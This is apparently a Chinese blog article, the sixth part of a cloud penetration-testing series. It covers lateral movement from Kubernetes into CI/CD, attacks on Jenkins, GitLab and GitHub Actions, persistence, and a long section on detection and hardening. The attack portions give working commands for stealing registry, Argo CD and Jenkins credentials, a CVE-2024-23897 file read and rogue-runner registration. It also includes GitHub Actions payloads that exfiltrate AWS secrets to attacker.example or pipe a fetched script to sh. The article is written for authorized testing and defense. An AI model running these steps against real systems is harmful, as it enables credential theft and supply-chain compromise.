云安全渗透(六)横向移动、CI/CD 与检测防御

一、从集群打到 CI/CD

前五篇走完,手上已经有了一张集群管理员权限和一个云账号。接下来最有价值的目标是 CI/CD,原因是它是凭证密度最高的地方。

一个 CI Runner 上通常同时存在:拉代码的凭据、推镜像的凭据、部署到 K8s 的 kubeconfig、部署到云的 AK/SK、各种第三方服务的 token。控制了一个 Runner,等于拿到了整个交付链路。

1.1 集群里能找到什么

先看集群里跟 CI 相关的凭证藏在哪。

镜像仓库认证。 每个需要拉私有镜像的 namespace 里都有一个 imagePullSecret:

kubectl get secrets -A | grep -i 'docker\|registry\|regcred'
kubectl get secret regcred -n default -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq

解出来的 .dockerconfigjson 就是一个标准的 Docker 配置:

{
  "auths": {
    "harbor.example.com": {
      "auth": "YWRtaW46SGFyYm9yMTIzNDU2"
    }
  }
}

auth 是 base64 编码的 用户名:密码。在 Harbor 里,这个用户名可能是 admin,也可能是某个有推送权限的机器人账号。前者可以直接接管镜像仓库。

CI Runner 的 ServiceAccount。 如果 CI 跑在集群里(GitLab Runner 的 Kubernetes executor、Jenkins 的 Kubernetes plugin、Tekton),Runner 用的 SA 权限通常很高,因为它要能创建 Pod、读 Secret。找到这些 SA:

kubectl get sa -A | grep -iE 'runner|jenkins|tekton|argo|build'
kubectl get clusterrolebinding -o json | jq -r '
  .items[] | select(.subjects[]?.name | test("runner|jenkins|tekton"; "i")) |
  .metadata.name + " -> " + .roleRef.name'

GitOps 工具的凭据。 Argo CD、Flux 这类工具持有集群的写权限和 Git 仓库的读权限。Argo CD 的 Secret 里经常有仓库凭据:

kubectl get secret -n argocd -o json | jq -r '.items[] | select(.metadata.name | test("repo")) | .metadata.name'
kubectl get secret -n argocd <repo-secret> -o jsonpath='{.data}' | jq -r 'to_entries[] | "\(.key) = \(.value | @base64d)"'

1.2 镜像仓库

镜像仓库是这一环里价值最高的目标,因为镜像层里保存了构建时的完整文件系统。

# 未授权直接列仓库(Registry v2 API)
curl -s http://harbor.example.com/v2/_catalog
# 列出某个仓库的所有 tag
curl -s http://harbor.example.com/v2/library/app/tags/list
# 拉下来之后导出文件系统
docker pull harbor.example.com/library/app:latest
docker save harbor.example.com/library/app:latest -o app.tar
mkdir app && tar -xf app.tar -C app

从 app.tar 里可以逐层解压,找到:

# 解压层
for layer in app/*/layer.tar; do
  mkdir -p "extract/$(dirname $layer)"
  tar -xf "$layer" -C "extract/$(dirname $layer)" 2>/dev/null
done
# 在解压结果里找敏感文件
grep -rIl --include='*.env' --include='*.json' --include='*.yml' \
  -iE 'access_key|secret|password|token' extract/ | head -30

镜像里通常会找到:.env 文件、application.yml、构建时留下的 .git 目录、node_modules(里面有 .npmrc)、甚至完整的源代码。更关键的是 .git 目录,如果构建时没有用 .dockerignore 排除掉,整个仓库历史和所有分支都在里面。

dive 这个工具可以交互式地看每一层的文件变化,定位敏感文件比手工解压快:

dive harbor.example.com/library/app:latest

1.3 从 Pod 反打 CI

如果 CI Runner 是以 Pod 形式跑的,而你有 create pods 之类的集群权限,可以直接起一个 Pod 挂载 Runner 的 PVC 或者借用它的 SA:

# 看 Runner 用了哪个 SA、挂载了什么
kubectl get pod -n gitlab-runner -o yaml | grep -A5 serviceAccountName
kubectl get pod -n gitlab-runner -o yaml | grep -A5 volumes

如果 Runner 的工作目录是 PVC,挂载它就能读到构建产物和缓存:

apiVersion: v1
kind: Pod
metadata:
  name: steal-cache
  namespace: gitlab-runner
spec:
  containers:
  - name: c
    image: alpine
    command: ["sh", "-c", "find /cache -type f | head -50; sleep 3600"]
    volumeMounts:
    - mountPath: /cache
      name: cache
  volumes:
  - name: cache
    persistentVolumeClaim:
      claimName: runner-cache

GitLab Runner 的缓存目录里经常有上上次构建留下的 .env、node_modules/.cache、以及构建脚本里 source 过的变量文件。

二、CI/CD 平台本身的攻击

2.1 Jenkins

Jenkins 的攻击面主要是三个:未授权的 Script Console、凭证存储的解密、以及几个版本相关的 CVE。

未授权的 Script Console。 Jenkins 的 /script 端点提供 Groovy 执行。如果没开认证,或者匿名用户有 Script Console 权限,直接就是 RCE:

curl -s http://jenkins.example.com/script

对应的 Groovy 代码:

println "id".execute().text
println "cat /etc/passwd".execute().text

要拿 Jenkins 里存的凭证,先读 credentials.xml,里面的密文用 hudson.util.Secret 解:

<hudson.util.Secret>{AQAAABAAAAAw...}</hudson.util.Secret>
println hudson.util.Secret.fromString("{AQAAABAAAAAw...}").getPlainText()

如果只有文件读权限,也可以本地解密,密钥在 $JENKINS_HOME/secrets/hudson.util.Secret 和 master.key 里。

版本 CVE。 CVE-2024-23897 是 Jenkins CLI 的任意文件读取,通过 @ 语法把文件内容当作参数:

java -jar jenkins-cli.jar -s http://jenkins.example.com/ help "@/etc/passwd"

这个漏洞能读到的文件包括 $JENKINS_HOME/secrets/master.key,拿到它就能解密所有凭证,等于从文件读升级到凭证完全泄露。

其他值得探测的路径:

/script
/manage
/computer/(master)/scriptText
/jnlpJars/jenkins-cli.jar
/asynchPeople/
/credentials/
/securityRealm/user/admin/search/index?q=

最后一条是用户名枚举,/asynchPeople/ 能列出所有用户。

2.2 GitLab

GitLab 的入口通常是未授权可见的公开项目和 runner 的注册 token。

# 列出公开项目
curl -s "http://gitlab.example.com/api/v4/projects?visibility=public"
# 项目变量,如果权限配错会直接泄露
curl -s "http://gitlab.example.com/api/v4/projects/1/variables"

Runner 注册 token 是一条被低估的路径。 拿到 registration token 之后,可以注册一个自己的 Runner 到对方的 GitLab 上:

gitlab-runner register \
  --url http://gitlab.example.com/ \
  --registration-token glrt-xxxxxxxxxxxx \
  --executor shell \
  --description "maintenance-runner"

注册成功后,只要有项目触发这个 Runner(或者你把它绑到某个项目上并触发 pipeline),构建脚本就在你的机器上执行。反过来,如果你是在目标机器上,读 Runner 的配置文件就能拿到 token:

cat /home/gitlab-runner/.gitlab-runner/config.toml

版本 CVE 方面,CVE-2021-22205 是 ExifTool 的 RCE(通过上传恶意图片),CVE-2023-2825 是路径穿越。这两个都值得在版本确认后做验证。

2.3 GitHub Actions

GitHub Actions 的问题集中在 pull_request_target 这个触发器上。

普通的 pull_request 触发器在 PR 来自 fork 时不会给 Secrets,这是安全的设计。但 pull_request_target 运行在基仓库的上下文里,能访问 Secrets。很多项目为了让 CI 能跑 fork 的 PR,改用了这个触发器,同时又去 checkout PR 的代码:

name: build
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # 危险
      - run: npm install && npm test

问题在于:checkout 了 PR 的代码之后,npm install 会执行 PR 里的 postinstall 脚本,这个脚本可以直接把 Secrets 外带:

{
  "scripts": {
    "postinstall": "curl -X POST https://attacker.example/collect -d \"$AWS_SECRET_ACCESS_KEY\""
  }
}

表达式注入是另一条路径。如果 PR 的标题、分支名之类的用户可控字段被直接拼进 run::

- run: echo "Building ${{ github.event.pull_request.title }}"

标题写成 ";curl https://attacker.example/x|sh;" 就能注入命令:

";curl https://attacker.example/x|sh;"

workflow_run 加 artifact 投毒是第三种。workflow_run 触发的工作流有写权限和 Secrets,如果它下载了前一个工作流产出的 artifact 并执行,就可以通过污染 artifact 来提权。

OIDC 是防护也是攻击面。 如果用 OIDC 联邦替代长期密钥,配置了 id-token: write 的工作流能拿到云角色凭证:

permissions:
  id-token: write
  contents: read

这个配置本身是正确的做法,但如果工作流能被未授权的 PR 触发,或者 .github/workflows/ 目录本身可以被修改(比如通过 PR 修改工作流文件并让它在 pull_request_target 下运行),OIDC 反而成了攻击者直接拿云凭证的通道。

供应链层的问题:

问题说明
依赖混淆内网包名 + 公网上传一个更高版本的同名包,构建时会优先拉公网的
typosquattingreqeusts 之类的近似包名
Action 未固定 SHAuses: someorg/action@main,上游仓库被入侵就会影响你
Self-hosted Runner复用 fork 的 PR 时会持久化驻留

uses: someorg/action@v1 中的 v1 是一个可变的 tag,上游可以随时把它指向新 commit。正确做法是固定到完整 SHA:

- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1

2.4 授权测试里的边界

CI/CD 攻击有一个特殊问题:它的很多手法是”投毒”,会对真实构建产物产生持久影响。所以和客户的约定要非常明确:

可以做的:读构建日志、列公开项目、验证凭证有效性、证明表达式注入可执行(用无害命令如 id)。

需要单独确认的:注册 Runner、修改工作流文件、推送镜像。

不要做的:往生产镜像仓库推 tag、覆盖 latest、修改被其他项目依赖的 Action。

三、横向移动

3.1 云上横向以身份为轴

传统内网横向靠网络可达性,云上横向靠身份能到达哪里。这一点想清楚之后,很多”扫不到东西”的困惑就消失了。

横向的三个方向:

方向一:从一个角色到另一个角色。 这是最常见也最高效的。用第三篇的方法枚举所有角色的信任策略,找出当前身份能扮演谁,然后链式往下走。

aws sts assume-role --role-arn arn:aws:iam::999999999999:role/NextRole --role-session-name hop1

方向二:从共享存储找凭证。 S3 桶、OSS 桶、EFS、共享的 Parameter Store 路径里经常有别的服务的凭证。这是”配置文件泄露”在云内的延续。

方向三:从计算资源找凭证。 能访问的所有 EC2/ECS/Lambda 上,只要有角色就有凭证。SSM 会话管理器(Session Manager)可以直接开一个 shell 而不需要 SSH:

aws ssm start-session --target i-0123456789abcdef0

这条命令的价值在于它走的是 AWS API,不需要目标机器有公网 IP,也不需要开 22 端口。如果拿到了足够的 IAM 权限,可以对一大批实例批量开 session 收集凭证。

3.2 跨账号

跨账号的桥梁只有几个:

桥梁说明
角色信任策略A 账号的身份被允许扮演 B 账号的角色
资源策略S3 桶策略、KMS 密钥策略直接授权给外部账号
组织 SCP同一组织内的账号,管控策略可能统一放行某些操作
共享 VPC / RAM 共享阿里云的资源目录和资源共享

资源策略经常被忘记检查。一个 S3 桶可能这样配置:

{
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {"AWS": "arn:aws:iam::111111111111:root"},
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::prod-backup/*"
    }
  ]
}

这意味着 111111111111 账号下的任何身份都能读这个桶(只要它自己有 s3:GetObject)。所以检查对象存储时不要只看 ACL,要看桶策略:

aws s3api get-bucket-policy --bucket prod-backup
aws s3api get-bucket-acl --bucket prod-backup

3.3 云内网扫描的注意事项

在云上扫内网和在自己机房扫内网,风险完全不同。

云厂商会检测端口扫描。 AWS 的 GuardDuty 有专门的 finding 类型 Recon:EC2/Portscan,阿里云云安全中心也有类似能力。大规模扫同账号内的网段很可能触发告警,而这个告警会直接指向你的测试实例。

云厂商禁止扫描其网段。 对非自己账号的云 IP 段做扫描,违反各家云的可接受使用政策,可能直接封号。所以在云环境的授权测试里,扫描范围要严格限制在客户明确的资产清单内。

替代做法:用云 API 而不是网络扫描来发现资产。云 API 的调用记录本身就是审计事件,但看起来像正常的管理行为:

aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,Tags]'
aws ec2 describe-security-groups
aws ec2 describe-vpcs
aws rds describe-db-instances
aws elbv2 describe-load-balancers

这几条命令能在几分钟内画出一张完整的资产拓扑图,比扫端口快得多,而且不容易被封。唯一的问题是能不能触发告警,这取决于 DescribeInstances 的调用频率和是否来自异常 IP。

四、持久化手法汇总

前面各篇零散提过,这里汇总成一张表,并且标注检测方式。

层面手法命令要点检测方式
云身份后门 AKiam:CreateAccessKeyCreateAccessKey 事件 + 密钥使用来源
云身份后门用户CreateUser + AttachUserPolicyCreateUser 事件
云身份改信任策略UpdateAssumeRolePolicy 指向外部账号角色信任策略变更告警
云身份复活旧密钥UpdateAccessKey --status ActiveUpdateAccessKey 事件
计算Lambda 后门建函数 + EventBridge 定时触发CreateFunction + PutRule
计算SSM 关联ssm:CreateAssociation 定时 RunShellScriptCreateAssociation 事件
容器恶意镜像 tag覆盖 latest镜像 digest 变更
容器特权 DaemonSet全节点落点get ds -A 看 privileged
K8s后门 SA + CRBcreate sa + create clusterrolebinding新建 cluster-admin 绑定告警
K8s长期 token Secretkubernetes.io/service-account-token 类型Secret 创建事件
K8s污染 webhook改 MutatingWebhookConfigurationwebhook 配置变更告警
K8s静态 Pod写 /etc/kubernetes/manifests/节点文件完整性监控
CI/CD篡改工作流改 .github/workflows/工作流文件变更 + 谁改的
CI/CD注册恶意 Runnergitlab-runner registerRunner 注册审计日志
反检测关闭日志cloudtrail:StopLogging最高优先级告警

清理清单和持久化手法一一对应,测试结束前必须逐条确认。最可靠的方式是每个动作执行时立刻记录”怎么撤销”,而不是事后回忆。

五、检测与防御

这一节是给防守方看的。前面五篇的攻击链,每一条都应该有对应的检测点。

5.1 日志源清单

日志源覆盖什么关键事件
CloudTrail / ActionTrail / CloudAudit云 API 调用所有 IAM 变更、角色扮演、资源创建
CloudTrail Data Events对象存储读写GetObject、PutObject
VPC Flow Logs网络流量异常出站、端口扫描
K8s Audit LogAPI Server 请求认证失败、资源创建、exec
容器运行时日志进程和系统调用core_pattern 写入、mount、nsenter
CI/CD 审计日志流水线操作工作流修改、Runner 注册
GuardDuty / 云安全中心威胁检测异常凭证使用、端口扫描、加密货币挖矿

K8s Audit Log 一定要开,并且要配置正确的审计级别。 默认的 --audit-policy-file 如果只记 Metadata 级别,是看不到请求内容的,很多攻击行为就漏了。关键资源(Secret、RBAC)应该配 RequestResponse 级别。

5.2 高价值检测规则

下面这些是投入产出比最高的规则。每一条都对应前面某一篇里讲过的具体攻击动作。

云 API 层面:

# 1. CreateAccessKey 之后紧跟 AttachUserPolicy 或 PutUserPolicy
#    CloudTrail 查询思路:同一 principal 在 5 分钟内出现这两类事件
# 2. AssumeRole 来自异常 IP 或异常 User-Agent
#    关注 roleArn 和 sourceIPAddress
# 3. CreatePolicyVersion 且 setAsDefault 为 true
#    这条最容易被漏,因为不涉及任何新资源
# 4. StopLogging / DeleteTrail / DeleteDetector
#    无条件最高优先级告警
# 5. 首次出现的 API 调用
#    基线建模,某个只读角色突然调用了 ec2:RunInstances 就很可疑

元数据服务层面:

元数据请求本身不打日志(这是设计上的缺陷),所以要换角度:从异常进程访问 link-local 地址这个行为来检测。在主机层用 eBPF 或 auditd 监控对 169.254.169.254:80 和 100.100.100.200:80 的连接,记录发起进程。正常业务代码不会去读元数据,只有 SDK 初始化时会读一次。所以:

  • 短时间大量元数据请求 → 可疑
  • 非 SDK 进程(比如 curl、python -c)访问元数据 → 高度可疑
  • 从 Pod 内访问元数据且该 Pod 不在预期清单里 → 可疑

K8s 层面:

# 创建 privileged / hostPath / hostPID 的 Pod
kubectl get pods -A -o json | jq '.items[] |
  select(.spec.containers[].securityContext.privileged == true or
         .spec.hostPID == true or
         .spec.volumes[]?.hostPath != null) |
  .metadata.namespace + "/" + .metadata.name'
# 新建 cluster-admin 绑定
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name == "cluster-admin") |
  .metadata.name + " -> " + (.subjects[]?.name // "?")'
# ServiceAccount token 在集群外被使用
# 看 API Server audit log 里 Bearer token 的来源 IP 是否在集群 CIDR 内

最后一条特别有价值。ServiceAccount token 正常只应该从集群内部使用,如果 audit log 里出现来自集群外 IP 的 SA token 认证成功,几乎可以确定是 token 泄露了。

容器层面: Falco 规则的思路,重点监控这几个行为:

写入 /proc/sys/kernel/core_pattern
写入 /proc/sys/kernel/modprobe
容器内执行 mount / nsenter / unshare
容器内访问 /var/run/docker.sock
创建 privileged 容器
容器内出现新的块设备访问

5.3 加固清单

按”性价比”排序,前几条应该优先做。

云身份与凭证:

  1. 强制 IMDSv2。 把实例的 HttpTokens 设为 required,这是防止 SSRF 打元数据的唯一有效手段。同时把 hop limit 设为 1,防止容器内访问。
  2. 用 OIDC 联邦替代长期 AK。 GitHub Actions、GitLab CI 都支持 OIDC 换取云角色临时凭证,这样 CI 里就不需要存长期密钥。
  3. 凭证轮转和最小权限。 定期轮转 AK,给每个应用独立的角色而不是共用一个高权账号。
  4. 权限边界 + SCP。 用权限边界限制单个身份的上限,用 SCP 限制整个账号的上限。这两层能有效阻断提权路径。
  5. 监控 CreatePolicyVersion、UpdateAssumeRolePolicy、CreateAccessKey、StopLogging。 这四类事件覆盖了大部分提权路径。

容器与 K8s:

  1. 禁止特权容器。 用 Pod Security Admission(PSA)强制 restricted 或者至少 baseline profile:
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
  1. 禁止 hostPath,尤其是 /、/var/run/docker.sock、/proc。 PSA 的 restricted 已经禁止了大部分 hostPath,自定义场景用 OPA Gatekeeper 或 Kyverno 补。
  2. etcd 开启静态加密。 即使 etcd 被读,拿到的也是密文:
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources: ["secrets"]
  providers:
  - aescbc:
      keys:
      - name: key1
        secret: <base64 编码的 32 字节密钥>
  - identity: {}

注意 identity: {} 必须放在最后,否则新数据不会被加密。

  1. 关闭匿名认证。 API Server 的 --anonymous-auth=false,kubelet 的 --anonymous-auth=false。
  2. 限制 kubelet 端口。 10250 不要暴露到公网,用防火墙限制只有 API Server 和监控系统能访问。10255 直接关掉。
  3. 开 K8s Audit Log 并接到 SIEM。 配好审计策略,别只记 Metadata。

CI/CD:

  1. 固定 Action 到完整 SHA。 不用 @v1 这类可变 tag。
  2. 避免 pull_request_target 加 checkout PR 代码。 如果必须用,把 permissions 收到最小,并且不要让未经审查的代码进入有 Secrets 的 job。
  3. Secrets 不落地。 用 OIDC 换取临时凭证,而不是把长期 AK 存进 CI 变量。
  4. 构建环境隔离。 Self-hosted Runner 用完即销毁,不要在 Runner 上存任何长期凭证。

5.4 攻击链与防御点对照

把整个系列六篇的内容压成一张表。这张表可以直接作为客户报告的附录。

阶段具体手法对应篇目防御措施检测手段
信息收集代码仓库泄露 AK第1篇提交前扫描密钥、Git hook 拦截GitHub Secret Scanning 告警
信息收集对象存储配置错误第1篇关闭公共访问、桶策略审计S3/OSS 访问日志
信息收集terraform.tfstate 泄露第1篇state 加密、远程后端加权限对象存储读取告警
初始访问SSRF 打元数据第2篇强制 IMDSv2、hop limit=1异常 link-local 访问
初始访问应用 RCE 读凭证第2篇最小权限、凭证放 Secrets Manager进程行为监控
凭证利用权限枚举第3篇限制 iam:GetAccountAuthorizationDetails高频 API 调用告警
凭证利用IAM 提权第3篇权限边界、SCP、避免危险组合IAM 变更事件监控
凭证利用工具投毒第3篇用官方工具、依赖哈希固定开发机出站监控
容器docker.sock 挂载第4篇不挂 socket、用受限 APIsocket 访问监控
容器内核 CVE第4篇及时打内核补丁容器内提权行为检测
容器危险 capabilities第4篇drop: ALL 后按需加Runtime 检测
集群未授权 API/kubelet/etcd第5篇关匿名、限网络、etcd 加密API Server 审计日志
集群RBAC 提权第5篇最小权限、禁用通配符RBAC 变更监控
集群从 Pod 到节点第5篇PSA、禁特权、禁 hostPathPod 创建审计
横向角色链跨账号第6篇收紧信任策略、强制 ExternalIdAssumeRole 事件
CI/CD工作流注入第6篇最小 permissions、固定 SHA工作流文件变更监控
持久化后门 AK/角色/SA第6篇定期审计 IAM 和 RBAC定期权限巡检
反检测停日志第6篇日志账号与业务账号分离StopLogging 告警

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇